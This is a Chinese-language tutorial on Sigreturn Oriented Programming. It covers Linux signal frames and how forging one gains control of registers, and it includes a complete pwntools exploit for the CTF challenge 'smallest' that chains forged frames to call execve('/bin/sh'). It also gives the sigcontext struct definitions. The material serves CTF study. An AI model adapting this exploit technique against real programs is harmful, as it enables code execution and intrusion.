SROP 原理
SROP(Sigreturn Oriented Programming)
其中sigreturn是一个系统调用,在类unix系统发生signal时候会被间接地调用。
Signal机制
是类unix系统中进程之间相互传递信息的一种方法。一般称为软中断信号,或者软中断。比如说,进程之间可以通过系统调用kill来发送软中断信号。步骤如下:
- 内核向某个进程发送
signal
机制,该进程会被暂时挂起,进入内核状态。
- 内核为该进程保存相应上下文,主要是将所有寄存器压入栈中,以及压入
signal
信息,以及指向sigreturn
的系统调用地址。
signal handler
返回后,内核为执行 sigreturn
系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77
,64 位的系统调用号为 15
。
在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。这里以Linux为例:
在第二步的时候,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址rt_sigreturn
,这个地址指向一段代码,在这段代码中会调用sigreturn
系统调用。因此,当signal handler执行完之后,栈指针(stack pointer)就指向rt_sigreturn
,所以,signal handler函数的最后一条ret
指令会使得执行流跳转到这段sigreturn代码,被动地进行sigreturn
系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息,以及rt_sigreturn
。
这一段就是signal frame
在内核sigreturn
系统调用处理函数中,会根据当前的栈指针指向的Signal Frame
对进程上下文进行恢复,并返回用户态,从挂起点恢复执行。
利用方法
思路
仔细观察这个过程可以发现 内核主要做的就是为进程保存上下文,并且恢复上下文。而主要的变动都在Signal Frame中。需要注意的有:
- Signal frame 被保存在用户的地址空间中,所以用户是可以读写的
- 由于内核与信号处理程序无关,它并不会去记录这个signal对应的signal frame,所以当执行sigreturn系统调用时,此时的signal frame并不一定是之前的内核为用户进程保存的signal frame。
假设可以控制用户进程的栈,那么就可以伪造一个signal frame,当系统执行完sigreturn系统调用之后,会执行一系列pop指令以便恢复相应寄存器的值,当执行到rip时,就会将程序执行流指向syscall地址,根据相应寄存器的值,此时便会得到shell
如果需要多次使用该方法
只需要修改signal frame中的两处即可:
- 将signal frame中的
RSP
指向下一个signal frame的地址
- 把原来的
rip
指向的syscall
换成syscall;ret
条件
- 可以通过栈溢出来控制栈的内容
- 需要找到相应的地址
字符串
地址(泄露栈得出)
Sigreturn
的地址(若找不到该gadgets可以将rax置为15,然后使用syscall来调用Sigreturn())
syscall
的地址
Signal frame
的地址(使用SigreturnFrame()伪造)
- 足够大的空间以便塞下整个sigal frame
过程
伪造signal frame
结构,push到栈中。其中需要将对应寄存器的值修改该为系统调用的相关参数
Eax/Rax
指向需要用到的系统调用号
Rip/Eip
指向syscall的地址
ebx/rdi
指向需要用到的字符串
Esp ebp和rsp rbp不可直接设置为0
将返回地址构造为sigreturn的地址(或相关gadget)
最后sigreturn的系统调用执行完后,就直接可以执行自定义的系统调用了
示例
以春秋杯的smallest为例,主要利用过程为
- 先泄露stack的地址
- 将payload写入到栈中
- 执行execve系统调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * context(arch='amd64',os='linux',log_level='debug') sh = process("./smallest") syscall_ret = 0x00000000004000be start_addr = 0x00000000004000b0
payload = p64(start_addr)*3 sh.send(payload) sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16]) log.success('leak stack addr:0x%x',stack_addr)
sigframe = SigreturnFrame() sigframe.rax=constants.SYS_read sigframe.rdi =0 sigframe.rsi = stack_addr sigframe.rdx = 0x400 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr)+'a'*8+str(sigframe) sh.send(payload)
sigreturn = p64(syscall_ret)+"b"*7 sh.send(sigreturn)
sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr + 0x120 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret payload = p64(start_addr)+"b"*8+str(sigframe) payload += '\x00'*(0x120-len(payload))+'/bin/sh\x00' sh.send(payload) sh.send(sigreturn) sh.interactive()
|
leak-stack
正常情况下的泄露栈地址操作如下
- 当程序开始运行时,寄存器
RSI
指向的便是栈地址
- 可以利用read传入某个参数,再泄露该地址,最后把
泄露出的地址-RSI的地址
便是该参数距离栈的偏移量
- 故
泄露出的地址
-栈中偏移量
=参数在栈中的地址
ucontext_t 结构体
X86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; };
|
X64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| struct _fpstate { __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };
|